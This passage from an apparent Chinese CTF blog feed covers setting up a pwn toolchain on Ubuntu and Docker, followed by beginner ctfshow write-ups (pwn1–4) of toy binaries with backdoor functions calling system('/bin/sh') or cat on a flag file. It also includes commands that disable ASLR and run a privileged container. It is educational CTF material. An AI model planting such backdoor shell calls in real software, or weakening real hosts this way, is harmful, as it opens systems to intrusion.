    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="ctfshow_pwn" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/"/>
    
    <category term="3-前置基础" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/3-%E5%89%8D%E7%BD%AE%E5%9F%BA%E7%A1%80/"/>
    
    
    <category term="PWN" scheme="https://rhea006.github.io/tags/PWN/"/>
    
  </entry>
  
  <entry>
    <title>Ubuntu18.04本地搭建环境</title>
    <link href="https://rhea006.github.io/2025/07/fc81dbb2cd60.html"/>
    <id>https://rhea006.github.io/2025/07/fc81dbb2cd60.html</id>
    <published>2025-07-09T04:00:00.000Z</published>
    <updated>2025-07-24T14:24:14.831Z</updated>
    
    <content type="html"><![CDATA[<h4 id="1-更新系统和安装基本依赖"><a href="#1-更新系统和安装基本依赖" class="headerlink" title="1. 更新系统和安装基本依赖"></a>1. 更新系统和安装基本依赖</h4><p>首先确保系统是最新的，并安装必要的编译工具和依赖库：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update &amp;&amp; <span class="built_in">sudo</span> apt upgrade -y</span><br><span class="line"><span class="built_in">sudo</span> apt install build-essential python3 python3-pip git gdb gdb-multiarch libc6-dbg libffi-dev libssl-dev</span><br></pre></td></tr></table></figure><h4 id="2-安装-pwntools（Pwn-开发库）"><a href="#2-安装-pwntools（Pwn-开发库）" class="headerlink" title="2. 安装 pwntools（Pwn 开发库）"></a>2. 安装 pwntools（Pwn 开发库）</h4><p>pwntools 是 Python 编写的用于二进制漏洞利用开发的强大库，我们将在虚拟环境中安装它：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 创建并激活 Python 虚拟环境</span></span><br><span class="line"><span class="built_in">sudo</span> apt-get install python3-venv</span><br><span class="line">python3 -m venv pwn_env</span><br><span class="line"><span class="built_in">source</span> pwn_env/bin/activate</span><br><span class="line"></span><br><span class="line"><span class="comment"># 在虚拟环境中安装 pwntools</span></span><br><span class="line">pip install --upgrade pip</span><br><span class="line">pip install pwntools</span><br></pre></td></tr></table></figure><h4 id="3-安装-pwndbg（GDB-增强工具）"><a href="#3-安装-pwndbg（GDB-增强工具）" class="headerlink" title="3. 安装 pwndbg（GDB 增强工具）"></a>3. 安装 pwndbg（GDB 增强工具）</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> ~</span><br><span class="line">git <span class="built_in">clone</span> https://github.com/pwndbg/pwndbg</span><br><span class="line"><span class="built_in">cd</span> pwndbg</span><br><span class="line">./setup.sh</span><br></pre></td></tr></table></figure><h4 id="4-配置-Pwn-环境（可选但推荐）"><a href="#4-配置-Pwn-环境（可选但推荐）" class="headerlink" title="4. 配置 Pwn 环境（可选但推荐）"></a>4. 配置 Pwn 环境（可选但推荐）</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 启用 ASLR（地址空间布局随机化）控制</span></span><br><span class="line"><span class="built_in">echo</span> 0 | <span class="built_in">sudo</span> <span class="built_in">tee</span> /proc/sys/kernel/randomize_va_space  <span class="comment"># 禁用 ASLR（用于调试）</span></span><br><span class="line"><span class="built_in">echo</span> 2 | <span class="built_in">sudo</span> <span class="built_in">tee</span> /proc/sys/kernel/randomize_va_space  <span class="comment"># 启用 ASLR（默认）</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建永久别名</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;alias gdb=&#x27;gdb -q&#x27;&quot;</span> &gt;&gt; ~/.bashrc  <span class="comment"># 禁用 GDB 启动信息</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;alias pwndbg=&#x27;gdb -q -ex \&quot;source ~/pwndbg/gdbinit.py\&quot;&#x27;&quot;</span> &gt;&gt; ~/.bashrc  <span class="comment"># 使用 pwndbg</span></span><br><span class="line"><span class="built_in">source</span> ~/.bashrc</span><br></pre></td></tr></table></figure><h4 id="5-安装其他常用-Pwn-工具"><a href="#5-安装其他常用-Pwn-工具" class="headerlink" title="5. 安装其他常用 Pwn 工具"></a>5. 安装其他常用 Pwn 工具</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># ROPgadget - 用于查找 ROP 链</span></span><br><span class="line">pip install ropgadget</span><br><span class="line"></span><br><span class="line"><span class="comment"># one_gadget - 查找 libc 中的 one gadget</span></span><br><span class="line">wget -O ruby-install-0.8.3.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.3.tar.gz</span><br><span class="line">tar -xzvf ruby-install-0.8.3.tar.gz</span><br><span class="line"><span class="built_in">cd</span> ruby-install-0.8.3/</span><br><span class="line"><span class="built_in">sudo</span> make install</span><br><span class="line">ruby-install ruby 3.1.0</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export PATH=&quot;$HOME/.rubies/ruby-3.1.0/bin:$PATH&quot;&#x27;</span> &gt;&gt; ~/.bashrc</span><br><span class="line"><span class="built_in">source</span> ~/.bashrc</span><br><span class="line">~/.rubies/ruby-3.1.0/bin/gem install one_gadget</span><br><span class="line"></span><br><span class="line"><span class="comment"># patchelf - 修改 ELF 文件</span></span><br><span class="line"><span class="built_in">sudo</span> apt install patchelf</span><br><span class="line"></span><br><span class="line"><span class="comment"># binwalk - 分析二进制文件</span></span><br><span class="line"><span class="built_in">sudo</span> apt install binwalk</span><br><span class="line"></span><br><span class="line"><span class="comment"># LibcSearch - 查找和分析 libc 库的工具</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/lieanu/LibcSearcher.git </span><br><span class="line"><span class="built_in">cd</span> LibcSearcher </span><br><span class="line">python3 setup.py develop</span><br><span class="line"></span><br><span class="line"><span class="comment"># ropper</span></span><br><span class="line"><span class="comment"># 安装依赖项capstone</span></span><br><span class="line">pip3 install capstone</span><br><span class="line"><span class="comment"># 安装依赖项filebytes</span></span><br><span class="line">pip3 install filebytes</span><br><span class="line"><span class="comment"># 拉取源代码</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/sashs/ropper.git</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="乱七八糟编译环境"><a href="#乱七八糟编译环境" class="headerlink" title="乱七八糟编译环境"></a>乱七八糟编译环境</h4><figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">sudo dpkg --add-architecture i386</span><br><span class="line">sudo apt install gawk</span><br><span class="line">sudo apt install libc6-dbg  libc6-dbg:i386</span><br><span class="line">sudo apt-get install links:i386</span><br><span class="line">sudo apt-get install libstdc++6:i386 libgcc1:i386 zlib1g:i386 libncurses5:i386</span><br><span class="line">sudo apt-get install gcc-multilib g++-multilib</span><br><span class="line">sudo apt-get install libssl-dev libffi-dev build-essential</span><br></pre></td></tr></table></figure><h4 id="使用虚拟环境的注意事项"><a href="#使用虚拟环境的注意事项" class="headerlink" title="使用虚拟环境的注意事项"></a>使用虚拟环境的注意事项</h4><p>每次使用 Pwn 环境时，需要先激活虚拟环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">source</span> pwn_env/bin/activate</span><br></pre></td></tr></table></figure><p>当完成工作后，可以使用以下命令退出虚拟环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">deactivate</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;1-更新系统和安装基本依赖&quot;&gt;&lt;a href=&quot;#1-更新系统和安装基本依赖&quot; class=&quot;headerlink&quot; title=&quot;1. 更新系统和安装基本依赖&quot;&gt;&lt;/a&gt;1. 更新系统和安装基本依赖&lt;/h4&gt;&lt;p&gt;首先确保系统是最新的，并安装必要的编译工具和依赖</summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="Learning" scheme="https://rhea006.github.io/categories/PWN/Learning/"/>
    
    <category term="3-分析环境搭建" scheme="https://rhea006.github.io/categories/PWN/Learning/3-%E5%88%86%E6%9E%90%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/"/>
    
    <category term="Ubuntu" scheme="https://rhea006.github.io/categories/PWN/Learning/3-%E5%88%86%E6%9E%90%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/Ubuntu/"/>
    
    
  </entry>
  
  <entry>
    <title>配置</title>
    <link href="https://rhea006.github.io/2025/07/c761e0474131.html"/>
    <id>https://rhea006.github.io/2025/07/c761e0474131.html</id>
    <published>2025-07-07T04:00:00.000Z</published>
    <updated>2025-08-27T06:47:24.977Z</updated>
    
    <content type="html"><![CDATA[<p>前置看环境搭建</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> docker run -d \</span><br><span class="line">-p 25000:22 \</span><br><span class="line">--name=show_pwn \</span><br><span class="line">--cap-add=SYS_PTRACE \</span><br><span class="line">-v ~/Desktop/CTFshow_pwn:/CTFshow_pwn \</span><br><span class="line">pwnenv_ubuntu24</span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> docker start show_pwn</span><br><span class="line"><span class="built_in">sudo</span> docker <span class="built_in">exec</span> -w /CTFshow_pwn -e TERM=xterm-256color -u ubuntu -it show_pwn bash   <span class="comment">#进入容器</span></span><br></pre></td></tr></table></figure><p>关闭ALSR</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">rhea@rhea-VMware-Virtual-Platform:~$ <span class="built_in">sudo</span> docker run -it --privileged --<span class="built_in">rm</span> pwnenv_ubuntu24 /bin/bash</span><br><span class="line">root@5c9e7214e2da:/# <span class="built_in">echo</span> 0 &gt; /proc/sys/kernel/randomize_va_space</span><br><span class="line">root@5c9e7214e2da:/# <span class="built_in">cat</span> /proc/sys/kernel/randomize_va_space</span><br></pre></td></tr></table></figure><p>打开tmux</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ tmux new-session -d -s pwn_session</span><br><span class="line"><span class="comment"># 然后在tmux会话中运行你的脚本</span></span><br><span class="line">$ tmux attach -t pwn_session</span><br><span class="line"><span class="comment">#`Ctrl + b` ，然后按 `[` 进入复制模式（此时可以上下滚动）</span></span><br><span class="line"></span><br><span class="line">$ python3 exp.py</span><br><span class="line">$ tmux <span class="built_in">ls</span> <span class="comment">#查看会话</span></span><br><span class="line">$ tmux kill-session -t pwn_session <span class="comment">#删除所有会话</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;前置看环境搭建&lt;/p&gt;
&lt;figure class=&quot;highlight bash&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;built_in&quot;&gt;sudo&lt;/span&gt; docker </summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="ctfshow_pwn" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/"/>
    
    <category term="1-环境" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/1-%E7%8E%AF%E5%A2%83/"/>
    
    
    <category term="PWN" scheme="https://rhea006.github.io/tags/PWN/"/>
    
  </entry>
  
  <entry>
    <title>pwn1-4</title>
    <link href="https://rhea006.github.io/2025/07/deec9f9547c3.html"/>
    <id>https://rhea006.github.io/2025/07/deec9f9547c3.html</id>
    <published>2025-07-07T04:00:00.000Z</published>
    <updated>2025-08-30T01:21:08.469Z</updated>
    
    <content type="html"><![CDATA[<p><strong><code>声明：都是官方wp，只是加了我不懂的地方</code></strong></p><h2 id="pwn1"><a href="#pwn1" class="headerlink" title="pwn1"></a>pwn1</h2><p>Hint：提供一个后门函数，连上即可得到flag</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">远程：</span><br><span class="line">nc ip 端口</span><br><span class="line">即可打通</span><br></pre></td></tr></table></figure><p>本地：</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec  pwn</span><br><span class="line">  Arch:     amd64-64-little</span><br><span class="line">  RELRO:    Full RELRO</span><br><span class="line">  Stack:    No canary found</span><br><span class="line">  NX:       NX enabled</span><br><span class="line">  PIE:      PIE enabled</span><br></pre></td></tr></table></figure><p>64位仅关闭Canary保护</p><p>用64位IDA打开查看main函数（按F5进入反汇编或者Tab键）</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(_bss_start, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(s);</span><br><span class="line">  <span class="built_in">puts</span>(asc_950);</span><br><span class="line">  <span class="built_in">puts</span>(asc_9D0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_A60);</span><br><span class="line">  <span class="built_in">puts</span>(asc_AF0);</span><br><span class="line">  <span class="built_in">puts</span>(asc_B78);</span><br><span class="line">  <span class="built_in">puts</span>(asc_C10);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(aClassifyCtfsho);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Type  : Test                                                    &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Site  : https://ctf.show/                                       &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * Hint  : You only need to connect to the remote address with NC to get the flag!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;    * *************************************                           &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;I think now it is necessary to test whether your NC is useful!        &quot;</span>);</span><br><span class="line">  system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>程序直接执行了后门函数</p><p>程序中执行的system函数里面的命令就是在shell中执行了此命令，因此</p><p>当远程环境的根目录中存在此文件就会直接将其读出来</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Test</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : You only need to connect to the remote address with NC to get the flag!</span><br><span class="line">    * *************************************</span><br><span class="line">I think now it is necessary to <span class="built_in">test</span> whether your NC is useful!</span><br><span class="line"><span class="built_in">cat</span>: /ctfshow_flag: No such file or directory</span><br></pre></td></tr></table></figure><p>在本地测试运行，根目录没有这个文件</p><p>可以尝试在根目录写一个与其文件名相同的文件进行测试</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">sudo</span> bash -c <span class="string">&quot;echo &#x27;flag&#123;just_test_my_process&#125;&#x27;&gt; /ctfshow_flag&quot;</span>   <span class="comment">#通过 bash -c 让整个命令（包括重定向）在提升权限的 shell 中执行</span></span><br></pre></td></tr></table></figure><p>再运行程序就能得到本地写入的flag值</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Test</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : You only need to connect to the remote address with NC to get the flag!</span><br><span class="line">    * *************************************</span><br><span class="line">I think now it is necessary to <span class="built_in">test</span> whether your NC is useful!</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn2"><a href="#pwn2" class="headerlink" title="pwn2"></a>pwn2</h2><p>Hint：给你一个shell，这次需要你自己去获得flag</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">远程：</span><br><span class="line">nc ip 端口</span><br></pre></td></tr></table></figure><p>本地：</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:     amd64-64-little</span><br><span class="line">  RELRO:    Full RELRO</span><br><span class="line">  Stack:    No canary found</span><br><span class="line">  NX:       NX enabled</span><br><span class="line">  PIE:      PIE enabled</span><br></pre></td></tr></table></figure><p>64位仅关闭Canary保护 </p><p>用64位IDA打开查看main函数（按F5进入反汇编或者Tab键）</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(_bss_start, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot; Now, you can use &#x27;cat /ctfshow_flag&#x27; to get flag! &quot;</span>);</span><br><span class="line">  system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，程序依旧是非常的简单，但是这次system函数里面的字符串变成了“&#x2F;bin&#x2F;sh”，那么直接运行它会发生什么呢？</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">ls</span> -l /bin/sh</span><br><span class="line">lrwxrwxrwx 1 root root 4 Nov 23  2023 /bin/sh -&gt; dash</span><br></pre></td></tr></table></figure><p>它指向dash</p><p>那system(“&#x2F;bin&#x2F;sh”);的工作原理又是什么呢？system()函数先fork一个子进程，在这个子进程中调用&#x2F;bin&#x2F;sh -c来执行command指定的命</p><p>令。&#x2F;bin&#x2F;sh在系统中一般是个软链接，指向dash或者bash等常用的shell，-c选项是告诉shell从字符串command中读取要执行的命令（shell将扩展command中的任何特殊字符）。父进程则调用waitpid()函数来为变成僵尸的子进程收尸，获得其结束状态，然后将这个结束状态返回给system()函数的调用者。那么也就是说执行完这个后它就会返回一个shell给函数的调用者：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Test</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : To give you a shell!</span><br><span class="line">    * *************************************</span><br><span class="line"> Now, you can use <span class="string">&#x27;cat /ctfshow_flag&#x27;</span> to get flag!</span><br><span class="line">$ <span class="built_in">id</span></span><br><span class="line">uid=1000(helloctfos) gid=1000(helloctfos) <span class="built_in">groups</span>=1000(helloctfos),4(adm),20(dialout),24(cdrom),25(floppy),27(<span class="built_in">sudo</span>),29(audio),30(dip),44(video),46(plugdev),116(netdev),999(docker)</span><br><span class="line">$ <span class="built_in">whoami</span></span><br><span class="line">helloctfos</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">$ <span class="built_in">cat</span> /ctfshow_flag</span><br></pre></td></tr></table></figure><p>也就达到了远程命令执行的效果了，读取flag只需要执行“cat &#x2F;ctfshow_flag”命令即可,在做题过程中现在可以了解到：system(“cat &#x2F;ctfshow_flag”);system(“&#x2F;bin&#x2F;sh”);这一类的我们称之为后门函数，再后续利用过程中我们要尽可能找到或者构造出来,后续会逐步完善。</p><h2 id="pwn3"><a href="#pwn3" class="headerlink" title="pwn3"></a>pwn3</h2><p>Hint：哪一个函数才能读取flag？</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">远程：</span><br><span class="line">nc ip 端口</span><br></pre></td></tr></table></figure><p>本地：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Test</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Choice the right backdoor !</span><br><span class="line">    * *************************************</span><br><span class="line">[*] level up ! Let<span class="string">&#x27;s go !</span></span><br><span class="line"><span class="string">You can call the following function:</span></span><br><span class="line"><span class="string">1._start</span></span><br><span class="line"><span class="string">2.main</span></span><br><span class="line"><span class="string">3.hello_ctfshow</span></span><br><span class="line"><span class="string">4.ctfshow(&#x27;</span><span class="built_in">echo</span> /ctfshow_flag<span class="string">&#x27;)</span></span><br><span class="line"><span class="string">5.print(&#x27;</span>/ctfshow_flag<span class="string">&#x27;)</span></span><br><span class="line"><span class="string">6.system(&#x27;</span><span class="built_in">cat</span> /ctfshow_flag<span class="string">&#x27;)</span></span><br><span class="line"><span class="string">7.puts(&#x27;</span>/ctfshow_flag<span class="string">&#x27;)</span></span><br><span class="line"><span class="string">8.exit</span></span><br><span class="line"><span class="string">Your choice is :</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">6</span></span><br><span class="line"><span class="string">flag&#123;just_test_my_process&#125;</span></span><br></pre></td></tr></table></figure><p>通过前面的分析，可以很明显的看出来选项”6”是所需要的后门函数，其他的均不会得到所想要的flag。但是很多时候它回显给你的并不一定是它一定就执行了此类，就是有可能是“虚晃一枪”，它回显给你说它执行了这个，但是实际上没有执行的情况，最终情况还得自己多进行分析。</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec  pwn</span><br><span class="line">  Arch:     amd64-64-little</span><br><span class="line">  RELRO:    Full RELRO</span><br><span class="line">  Stack:    Canary found</span><br><span class="line">  NX:       NX enabled</span><br><span class="line">  PIE:      PIE enabled</span><br></pre></td></tr></table></figure><p>64位,保护全开</p><p>用64位IDA打开查看main函数（按F5进入反汇编或者Tab键）</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> **envp_1; <span class="comment">// rdx</span></span><br><span class="line">  _BYTE argva[<span class="number">12</span>]; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line"></span><br><span class="line">  *(_QWORD *)&amp;argva[<span class="number">4</span>] = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  setvbuf(_bss_start, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;[*] level up ! Let&#x27;s go ! &quot;</span>);</span><br><span class="line">  menu();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Your choice is :\n&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, argva);</span><br><span class="line">  <span class="keyword">switch</span> ( *(_DWORD *)argva )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;start&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">      main((<span class="type">int</span>)<span class="string">&quot;%d&quot;</span>, (<span class="type">const</span> <span class="type">char</span> **)argva, envp_1);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;Hello CTFshow&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">      ctfshow();</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;/ctfshow_flag&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">6</span>:</span><br><span class="line">      system_func();</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">7</span>:</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">8</span>:</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Invalid input&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到程序的流程还是很简单，先回显出一个字符串说难度升级，开始，然后有一个菜单，再让你输入选项，会进入对应的分支。跟进menu：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">menu</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;You can call the following function:&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;1._start&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;2.main&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;3.hello_ctfshow&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;4.ctfshow(&#x27;echo /ctfshow_flag&#x27;)&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;5.print(&#x27;/ctfshow_flag&#x27;)&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;6.system(&#x27;cat /ctfshow_flag&#x27;)&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;7.puts(&#x27;/ctfshow_flag&#x27;)&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;8.exit&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们已经了解到后门函数是这里的选项6，我们首先就跟进看它是否执行了它：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">system_func</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，确实是执行了。那么也就能得到需要的flag了。</p><h2 id="pwn4"><a href="#pwn4" class="headerlink" title="pwn4"></a>pwn4</h2><p>Hint: 或许需要先得到某个神秘字符</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">远程：</span><br><span class="line">nc ip 端口</span><br></pre></td></tr></table></figure><p>本地：</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec  pwn</span><br><span class="line">  Arch:     amd64-64-little</span><br><span class="line">  RELRO:    Full RELRO</span><br><span class="line">  Stack:    Canary found</span><br><span class="line">  NX:       NX enabled</span><br><span class="line">  PIE:      PIE enabled</span><br></pre></td></tr></table></figure><p>64位,保护全开</p><p>用64位IDA打开查看main函数（按F5进入反汇编或者Tab键）</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s1[<span class="number">11</span>]; <span class="comment">// [rsp+1h] [rbp-1Fh] BYREF</span></span><br><span class="line">  <span class="type">char</span> s2[<span class="number">12</span>]; <span class="comment">// [rsp+Ch] [rbp-14h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v6; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v6 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  setvbuf(_bss_start, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">strcpy</span>(s1, <span class="string">&quot;CTFshowPWN&quot;</span>);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;find the secret !&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%s&quot;</span>, s2);</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(s1, s2) )</span><br><span class="line">    execve_func();</span><br><span class="line">  <span class="keyword">return</span> 